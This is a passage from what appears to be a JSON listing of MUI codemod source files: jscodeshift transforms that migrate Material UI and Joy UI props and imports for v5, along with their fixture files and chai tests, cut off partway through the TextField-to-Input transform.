    "path": "packages/mui-codemod/src/v5.0.0/fab-variant.test/actual.js",
    "content": "<div>\n  <Fab variant=\"round\" />\n  <Fab classes={{ round: 'className' }} />\n  <Box\n    sx={{\n      '& .MuiFab-round': {\n        background: 'red',\n      },\n      '& .CustomFab-round': {\n        background: 'red',\n      },\n    }}\n  />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/fab-variant.test/expected.js",
    "content": "<div>\n  <Fab variant=\"circular\" />\n  <Fab classes={{ circular: 'className' }} />\n  <Box\n    sx={{\n      '& .MuiFab-circular': {\n        background: 'red',\n      },\n      '& .CustomFab-round': {\n        background: 'red',\n      },\n    }}\n  />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/fab-variant.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './fab-variant';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('fab-variant', () => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          {\n            source: read('./fab-variant.test/actual.js'),\n            path: require.resolve('./fab-variant.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./fab-variant.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./fab-variant.test/expected.js'),\n            path: require.resolve('./fab-variant.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./fab-variant.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/fade-rename-alpha.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions || {\n    quote: 'single',\n  };\n\n  let importFound = false;\n\n  root.find(j.ImportDeclaration).forEach((path) => {\n    if (path.node.source.value.match(/^@material-ui\\/core\\/?(styles)?$/)) {\n      path.node.specifiers.forEach((specifier) => {\n        if (specifier.type === 'ImportSpecifier' && specifier.imported.name === 'fade') {\n          specifier.imported = j.identifier('alpha');\n          importFound = true;\n        }\n      });\n    }\n  });\n\n  if (importFound) {\n    return root\n      .find(j.CallExpression, { callee: { name: 'fade' } })\n      .forEach((path) => {\n        path.node.callee.name = 'alpha';\n      })\n      .toSource(printOptions);\n  }\n  return file.source;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/fade-rename-alpha.test/actual.js",
    "content": "import { fade, lighten } from '@material-ui/core/styles';\nimport { fade as muiFade } from '@material-ui/core';\n\nconst foo = fade('#aaa');\nconst bar = muiFade('');\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/fade-rename-alpha.test/expected.js",
    "content": "import { alpha, lighten } from '@material-ui/core/styles';\nimport { alpha as muiFade } from '@material-ui/core';\n\nconst foo = alpha('#aaa');\nconst bar = muiFade('');\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/fade-rename-alpha.test/unmodified.js",
    "content": "const foo = fade('#aaa');\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/fade-rename-alpha.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './fade-rename-alpha';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('fade-rename-alpha', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./fade-rename-alpha.test/actual.js'),\n            path: require.resolve('./fade-rename-alpha.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./fade-rename-alpha.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./fade-rename-alpha.test/expected.js'),\n            path: require.resolve('./fade-rename-alpha.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./fade-rename-alpha.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should not modify local functions', () => {\n        const actual = transform(\n          {\n            source: read('./fade-rename-alpha.test/unmodified.js'),\n            path: require.resolve('./fade-rename-alpha.test/unmodified.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./fade-rename-alpha.test/unmodified.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/grid-justify-justifycontent.js",
    "content": "import renameProps from '../util/renameProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions;\n\n  return renameProps({\n    root,\n    componentName: 'Grid',\n    props: { justify: 'justifyContent' },\n  }).toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/grid-justify-justifycontent.test/actual.js",
    "content": "<Grid container>\n  <Grid item justify=\"left\">Item 1</Grid>\n  <Grid item xs={6} justify=\"right\">Item 2</Grid>\n</Grid>\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/grid-justify-justifycontent.test/expected.js",
    "content": "<Grid container>\n  <Grid item justifyContent=\"left\">Item 1</Grid>\n  <Grid item xs={6} justifyContent=\"right\">Item 2</Grid>\n</Grid>\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/grid-justify-justifycontent.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './grid-justify-justifycontent';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('grid-justify-justifycontent', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./grid-justify-justifycontent.test/actual.js'),\n            path: require.resolve('./grid-justify-justifycontent.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./grid-justify-justifycontent.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./grid-justify-justifycontent.test/expected.js'),\n            path: require.resolve('./grid-justify-justifycontent.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./grid-justify-justifycontent.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/grid-list-component.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file) {\n  return file.source\n    .replace(/([^a-zA-Z])GridListTileBar/gm, '$1ImageListItemBar')\n    .replace(/([^a-zA-Z])GridListTile/gm, '$1ImageListItem')\n    .replace(/([^a-zA-Z])GridList/gm, '$1ImageList');\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/grid-list-component.test/actual.js",
    "content": "import { GridList, GridListTile } from '@material-ui/core';\n// import GridList from '@material-ui/core/GridList';\n// import GridListTile from '@material-ui/core/GridListTile';\nimport GridListTileBar from '@material-ui/core/GridListTileBar';\nimport LinksGridList from './other';\n\n<GridList cellHeight=\"auto\" cols={numOfCols}>\n  {items.map(({ text, href, Icon }, i) => (\n    <GridListTile key={i}>\n      <IconLink href={href} text={text ?? href} Icon={Icon} />\n    </GridListTile>\n  ))}\n  <LinksGridList />\n</GridList>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/grid-list-component.test/expected.js",
    "content": "import { ImageList, ImageListItem } from '@material-ui/core';\n// import ImageList from '@material-ui/core/ImageList';\n// import ImageListItem from '@material-ui/core/ImageListItem';\nimport ImageListItemBar from '@material-ui/core/ImageListItemBar';\nimport LinksGridList from './other';\n\n<ImageList cellHeight=\"auto\" cols={numOfCols}>\n  {items.map(({ text, href, Icon }, i) => (\n    <ImageListItem key={i}>\n      <IconLink href={href} text={text ?? href} Icon={Icon} />\n    </ImageListItem>\n  ))}\n  <LinksGridList />\n</ImageList>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/grid-list-component.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './grid-list-component';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('grid-list-component', () => {\n      it('transforms MuiThemeProvider as needed', () => {\n        const actual = transform(\n          {\n            source: read('./grid-list-component.test/actual.js'),\n            path: require.resolve('./grid-list-component.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./grid-list-component.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./grid-list-component.test/expected.js'),\n            path: require.resolve('./grid-list-component.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./grid-list-component.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/hidden-down-props.js",
    "content": "import renameProps from '../util/renameProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions;\n\n  return renameProps({\n    root,\n    componentName: 'Hidden',\n    props: {\n      xsDown: 'smDown',\n      smDown: 'mdDown',\n      mdDown: 'lgDown',\n      lgDown: 'xlDown',\n      xlDown: 'xlDown',\n    },\n  }).toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/icon-button-size.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n\n  const printOptions = options.printOptions;\n\n  return j(file.source)\n    .findJSXElements('IconButton')\n    .forEach((path) => {\n      const hasSizeAttribute = path.node.openingElement.attributes.some((node) => {\n        return node.type === 'JSXAttribute' && node.name.name === 'size';\n      });\n\n      if (!hasSizeAttribute) {\n        path.node.openingElement.attributes.push(\n          j.jsxAttribute(j.jsxIdentifier('size'), j.literal('large')),\n        );\n      }\n    })\n    .toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/icon-button-size.test/actual.js",
    "content": "<>\n  <IconButton size=\"small\" />\n  <IconButton size=\"medium\" />\n  <IconButton />\n</>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/icon-button-size.test/expected.js",
    "content": "<>\n  <IconButton size=\"small\" />\n  <IconButton size=\"medium\" />\n  <IconButton size=\"large\" />\n</>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/icon-button-size.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './icon-button-size';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('icon-button-size', () => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          {\n            source: read('./icon-button-size.test/actual.js'),\n            path: require.resolve('./icon-button-size.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./icon-button-size.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./icon-button-size.test/expected.js'),\n            path: require.resolve('./icon-button-size.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./icon-button-size.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-avatar-remove-imgProps.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  root\n    .find(j.ImportDeclaration)\n    .filter(({ node }) => {\n      const sourceVal = node.source.value;\n\n      return [\n        '@mui/joy', // Process only Joy UI components\n        '@mui/joy/Avatar', // Filter default imports of components other than `Avatar`\n      ].includes(sourceVal);\n    })\n    .forEach((path) => {\n      path.node.specifiers.forEach((elementNode) => {\n        if (\n          (elementNode.type === 'ImportSpecifier' && elementNode.imported?.name === 'Avatar') ||\n          elementNode.type === 'ImportDefaultSpecifier'\n        ) {\n          // Process only Joy `Avatar` component\n          root.findJSXElements(elementNode.local.name).forEach((elementPath) => {\n            if (elementPath.node.type !== 'JSXElement') {\n              return;\n            }\n\n            const slotPropsAttributeNode = elementPath.node.openingElement.attributes.find(\n              (attributeNode) =>\n                attributeNode.type === 'JSXAttribute' &&\n                attributeNode.name.name === 'slotProps' &&\n                attributeNode.value.expression?.type === 'ObjectExpression',\n            );\n            const newAttributeNodes = [];\n            elementPath.node.openingElement.attributes.forEach((attributeNode) => {\n              if (attributeNode.type !== 'JSXAttribute') {\n                return;\n              }\n\n              if (attributeNode.name.name !== 'imgProps') {\n                newAttributeNodes.push(attributeNode);\n                return;\n              }\n\n              const val = attributeNode.value;\n              if (!val?.expression) {\n                return;\n              }\n\n              if (slotPropsAttributeNode) {\n                const imgObjInSlotProps = slotPropsAttributeNode.value.expression.properties.find(\n                  (propNode) =>\n                    propNode.key.name === 'img' && propNode.value.type === 'ObjectExpression',\n                );\n                if (imgObjInSlotProps) {\n                  const newProperties = [\n                    ...imgObjInSlotProps.value.properties,\n                    ...attributeNode.value.expression.properties,\n                  ];\n                  imgObjInSlotProps.value.properties = newProperties;\n                } else {\n                  slotPropsAttributeNode.value.expression.properties.push(\n                    j.objectProperty(j.identifier('img'), attributeNode.value),\n                  );\n                }\n              } else {\n                newAttributeNodes.push(\n                  j.jsxAttribute(\n                    j.jsxIdentifier('slotProps'),\n                    j.jsxExpressionContainer(\n                      j.objectExpression([\n                        j.objectProperty(j.identifier('img'), attributeNode.value.expression),\n                      ]),\n                    ),\n                  ),\n                );\n              }\n            });\n            elementPath.node.openingElement.attributes = newAttributeNodes;\n          });\n        }\n      });\n    });\n\n  const transformed = root.findJSXElements();\n\n  return transformed.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-avatar-remove-imgProps.test/actual.js",
    "content": "// the codemod should transform only Joy UI `Avatar`;\nimport { Avatar as JoyAvatar } from '@mui/joy';\nimport Avatar from '@mui/joy/Avatar';\nimport MaterialAvatar from '@mui/material/Avatar';\n\n<div>\n  <JoyAvatar imgProps={{ ['aria-hidden']: true }} />\n  <Avatar\n    slotProps={{ root: { ['aria-hidden']: false }, img: { ['aria-label']: 'imgSlot' } }}\n    imgProps={{ ['aria-hidden']: true }}\n  />\n  <MaterialAvatar imgProps={{ ['aria-hidden']: true }} />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-avatar-remove-imgProps.test/expected.js",
    "content": "// the codemod should transform only Joy UI `Avatar`;\nimport { Avatar as JoyAvatar } from '@mui/joy';\nimport Avatar from '@mui/joy/Avatar';\nimport MaterialAvatar from '@mui/material/Avatar';\n\n<div>\n  <JoyAvatar slotProps={{\n    img: { ['aria-hidden']: true }\n  }} />\n  <Avatar\n    slotProps={{ root: { ['aria-hidden']: false }, img: {\n      ['aria-label']: 'imgSlot',\n      ['aria-hidden']: true\n    } }} />\n  <MaterialAvatar imgProps={{ ['aria-hidden']: true }} />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-avatar-remove-imgProps.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './joy-avatar-remove-imgProps';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('joy-avatar-remove-imgProps', () => {\n      it('transforms `imgProps` prop to `slotProps.img`', () => {\n        const actual = transform(\n          {\n            source: read('./joy-avatar-remove-imgProps.test/actual.js'),\n            path: require.resolve('./joy-rename-components-to-slots.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./joy-avatar-remove-imgProps.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-rename-classname-prefix.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n */\nexport default function transformer(file) {\n  return file.source.replace(/Joy([A-Z]+)/gm, 'Mui$1');\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-rename-classname-prefix.test/actual.js",
    "content": "<button className=\"JoyButton-button\" />;\n<Button sx={{ '& .JoyButton-root': { '& .JoyButton-button': {} } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-rename-classname-prefix.test/expected.js",
    "content": "<button className=\"MuiButton-button\" />;\n<Button sx={{ '& .MuiButton-root': { '& .MuiButton-button': {} } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-rename-classname-prefix.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './joy-rename-classname-prefix';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('joy-rename-classname-prefix', () => {\n      it('transforms classname prefix from Joy to Mui', () => {\n        const actual = transform(\n          {\n            source: read('./joy-rename-classname-prefix.test/actual.js'),\n            path: require.resolve('./joy-rename-classname-prefix.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./joy-rename-classname-prefix.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-rename-components-to-slots.js",
    "content": "function transformComponentsProp(attributeNode) {\n  attributeNode.name.name = 'slots';\n\n  const valueExpression = attributeNode.value.expression;\n  if (valueExpression?.type !== 'ObjectExpression') {\n    return;\n  }\n\n  valueExpression.properties.forEach((property) => {\n    property.key.name = property.key.name[0].toLowerCase() + property.key.name.slice(1);\n\n    if (property.shorthand) {\n      property.shorthand = false;\n    }\n  });\n}\n\nfunction transformComponentsPropsProp(attributeNode) {\n  attributeNode.name.name = 'slotProps';\n}\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  root\n    .find(j.ImportDeclaration)\n    .filter(({ node }) => {\n      return node.source.value.startsWith('@mui/joy');\n    })\n    .forEach((path) => {\n      path.node.specifiers.forEach((node) => {\n        // Process only Joy UI components\n        root.findJSXElements(node.local.name).forEach((elementPath) => {\n          if (elementPath.node.type !== 'JSXElement') {\n            return;\n          }\n\n          elementPath.node.openingElement.attributes.forEach((elementNode) => {\n            if (elementNode.type !== 'JSXAttribute') {\n              return;\n            }\n\n            switch (elementNode.name.name) {\n              case 'components':\n                transformComponentsProp(elementNode);\n                break;\n\n              case 'componentsProps':\n                transformComponentsPropsProp(elementNode);\n                break;\n\n              default:\n            }\n          });\n        });\n      });\n    });\n\n  const transformed = root.findJSXElements();\n\n  return transformed.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-rename-components-to-slots.test/actual.js",
    "content": "// the codemod should transform only Joy UI components;\nimport { Alert as JoyAlert } from '@mui/joy';\nimport JoyAutocomplete from '@mui/joy/Autocomplete';\nimport CustomComponent from 'components/Custom';\n\n<div>\n  <JoyAlert\n    components={{ Root, Input: CustomInput }}\n    componentsProps={{ root: { className: 'root' }, input: { 'data-testid': 'input' } }}\n  />\n  <JoyAutocomplete\n    components={{ Root, Input: CustomInput }}\n    componentsProps={{ root: { className: 'root' }, input: { 'data-testid': 'input' } }}\n  />\n  <CustomComponent\n    components={{ Root, Input: CustomInput }}\n    componentsProps={{ root: { className: 'root' }, input: { 'data-testid': 'input' } }}\n  />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-rename-components-to-slots.test/expected.js",
    "content": "// the codemod should transform only Joy UI components;\nimport { Alert as JoyAlert } from '@mui/joy';\nimport JoyAutocomplete from '@mui/joy/Autocomplete';\nimport CustomComponent from 'components/Custom';\n\n<div>\n  <JoyAlert\n    slots={{ root: Root, input: CustomInput }}\n    slotProps={{ root: { className: 'root' }, input: { 'data-testid': 'input' } }}\n  />\n  <JoyAutocomplete\n    slots={{ root: Root, input: CustomInput }}\n    slotProps={{ root: { className: 'root' }, input: { 'data-testid': 'input' } }}\n  />\n  <CustomComponent\n    components={{ Root, Input: CustomInput }}\n    componentsProps={{ root: { className: 'root' }, input: { 'data-testid': 'input' } }}\n  />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-rename-components-to-slots.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './joy-rename-components-to-slots';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('joy-rename-components-to-slots', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./joy-rename-components-to-slots.test/actual.js'),\n            path: require.resolve('./joy-rename-components-to-slots.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./joy-rename-components-to-slots.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-rename-row-prop.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  root\n    .find(j.ImportDeclaration)\n    .filter(({ node }) => {\n      return node.source.value.startsWith('@mui/joy');\n    })\n    .forEach((path) => {\n      path.node.specifiers.forEach((node) => {\n        // Process only Joy UI components\n        root.findJSXElements(node.local.name).forEach((elementPath) => {\n          if (elementPath.node.type !== 'JSXElement') {\n            return;\n          }\n\n          elementPath.node.openingElement.attributes.forEach((attributeNode) => {\n            if (attributeNode.type !== 'JSXAttribute') {\n              return;\n            }\n            if (attributeNode.name.name === 'row') {\n              const val = attributeNode.value;\n              if (val === null || val?.expression?.value === true) {\n                attributeNode.name.name = 'orientation';\n                attributeNode.value = j.jsxExpressionContainer(j.literal('horizontal'));\n              }\n            }\n          });\n        });\n      });\n    });\n\n  const transformed = root.findJSXElements();\n\n  return transformed.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-rename-row-prop.test/actual.js",
    "content": "// the codemod should transform only Joy UI components;\nimport { List as JoyList } from '@mui/joy';\nimport JoyCard from '@mui/joy/Card';\nimport RadioGroup from '@mui/joy/RadioGroup';\nimport CustomComponent from 'components/Custom';\n\n<div>\n  <JoyCard row />\n  <JoyList row />\n  <RadioGroup row={true} />\n  <CustomComponent row />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-rename-row-prop.test/expected.js",
    "content": "// the codemod should transform only Joy UI components;\nimport { List as JoyList } from '@mui/joy';\nimport JoyCard from '@mui/joy/Card';\nimport RadioGroup from '@mui/joy/RadioGroup';\nimport CustomComponent from 'components/Custom';\n\n<div>\n  <JoyCard orientation={\"horizontal\"} />\n  <JoyList orientation={\"horizontal\"} />\n  <RadioGroup orientation={\"horizontal\"} />\n  <CustomComponent row />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-rename-row-prop.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './joy-rename-row-prop';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('joy-rename-row-prop', () => {\n      it('transforms `row` prop to `orientation=\"horizontal\"`', () => {\n        const actual = transform(\n          {\n            source: read('./joy-rename-row-prop.test/actual.js'),\n            path: require.resolve('./joy-rename-components-to-slots.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./joy-rename-row-prop.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-text-field-to-input.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  root\n    .find(j.ImportDeclaration)\n    .filter(({ node }) => {\n      const sourceVal = node.source.value;\n      if (sourceVal === '@mui/joy/TextField') {\n        node.source.value = '@mui/joy/Input';\n      }\n\n      return [\n        '@mui/joy', // Process only Joy UI components\n        '@mui/joy/TextField', // Filter default imports of components other than TextField\n      ].includes(sourceVal);\n    })\n    .forEach((path) => {\n      path.node.specifiers.forEach((elementNode) => {\n        if (\n          (elementNode.type === 'ImportSpecifier' && elementNode.imported?.name === 'TextField') ||\n          elementNode.type === 'ImportDefaultSpecifier'\n        ) {\n          if (elementNode.imported?.name === 'TextField') {\n            elementNode.imported.name = 'Input';\n          }\n\n          let newElementName;\n          root.findJSXElements(elementNode.local.name).forEach((elementPath) => {\n            if (elementPath.node.type !== 'JSXElement') {\n              return;\n            }\n            newElementName = elementPath.node.openingElement.name.name.replace(\n              /TextField/gm,\n              'Input',\n            );\n            elementPath.node.openingElement.name.name = newElementName;\n\n            const formControlAttributeNodes = [];\n            const formLabelAttributeNodes = [];\n            const formHelperTextAttributeNodes = [];\n            const inputAttributeNodes = [];\n            let formLabelValue;\n            let formHelperTextValue;\n\n            elementPath.node.openingElement.attributes.forEach((attributeNode) => {\n              if (attributeNode.type !== 'JSXAttribute') {\n                return;\n              }\n              const attributeName = attributeNode.name.name;\n              switch (attributeName) {\n                case 'size':\n                case 'color':\n                case 'required':\n                  formControlAttributeNodes.push(attributeNode);\n                  break;\n\n                case 'slotProps':\n                  if (attributeNode.value.expression?.type === 'ObjectExpression') {\n                    attributeNode.value.expression.properties.forEach((propNode) => {\n                      if (propNode.value.type !== 'ObjectExpression') {\n                        return;\n                      }\n                      propNode.value.properties.forEach((prop) => {\n                        const key = prop.key.value;\n                        const newAttributeNode = j.jsxAttribute(\n                          j.jsxIdentifier(key),\n                          j.jsxExpressionContainer(prop.value),\n                        );\n                        switch (propNode.key.name) {\n                          case 'root':\n                            formControlAttributeNodes.push(newAttributeNode);\n                            break;\n                          case 'label':\n                            formLabelAttributeNodes.push(newAttributeNode);\n                            break;\n                          case 'input':\n                            inputAttributeNodes.push(newAttributeNode);\n                            break;\n                          case 'helperText':\n                            formHelperTextAttributeNodes.push(newAttributeNode);\n                            break;\n                          default:\n                        }\n                      });\n                    });\n                  }\n                  break;\n\n                case 'slots':\n                  if (attributeNode.value.expression?.type === 'ObjectExpression') {\n                    attributeNode.value.expression.properties.forEach((propNode) => {\n                      const newAttributeNode = j.jsxAttribute(\n                        j.jsxIdentifier('component'),\n                        j.jsxExpressionContainer(propNode.value),\n                      );\n                      switch (propNode.key.name) {\n                        case 'root':\n                          formControlAttributeNodes.push(newAttributeNode);\n                          break;\n                        case 'label':\n                          formLabelAttributeNodes.push(newAttributeNode);\n                          break;\n                        case 'input':\n                          inputAttributeNodes.push(newAttributeNode);\n                          break;\n                        case 'helperText':\n                          formHelperTextAttributeNodes.push(newAttributeNode);\n                          break;\n                        default:\n                      }\n                    });\n                  }\n                  break;\n\n                case 'label':\n                  formLabelValue = attributeNode.value.value;\n                  break;\n\n                case 'helperText':\n                  formHelperTextValue = attributeNode.value.value;\n                  break;\n\n                case 'id':\n                  formControlAttributeNodes.push(attributeNode);\n                  formLabelAttributeNodes.push(\n                    j.jsxAttribute(\n                      j.jsxIdentifier('id'),\n                      j.literal(`${attributeNode.value.value}-label`),\n                    ),\n                  );\n                  formHelperTextAttributeNodes.push(\n                    j.jsxAttribute(\n                      j.jsxIdentifier('id'),\n                      j.literal(`${attributeNode.value.value}-helper-text`),\n                    ),\n                  );\n                  break;\n\n                default:\n              }\n              if (\n                ![\n                  'size',\n                  'color',\n                  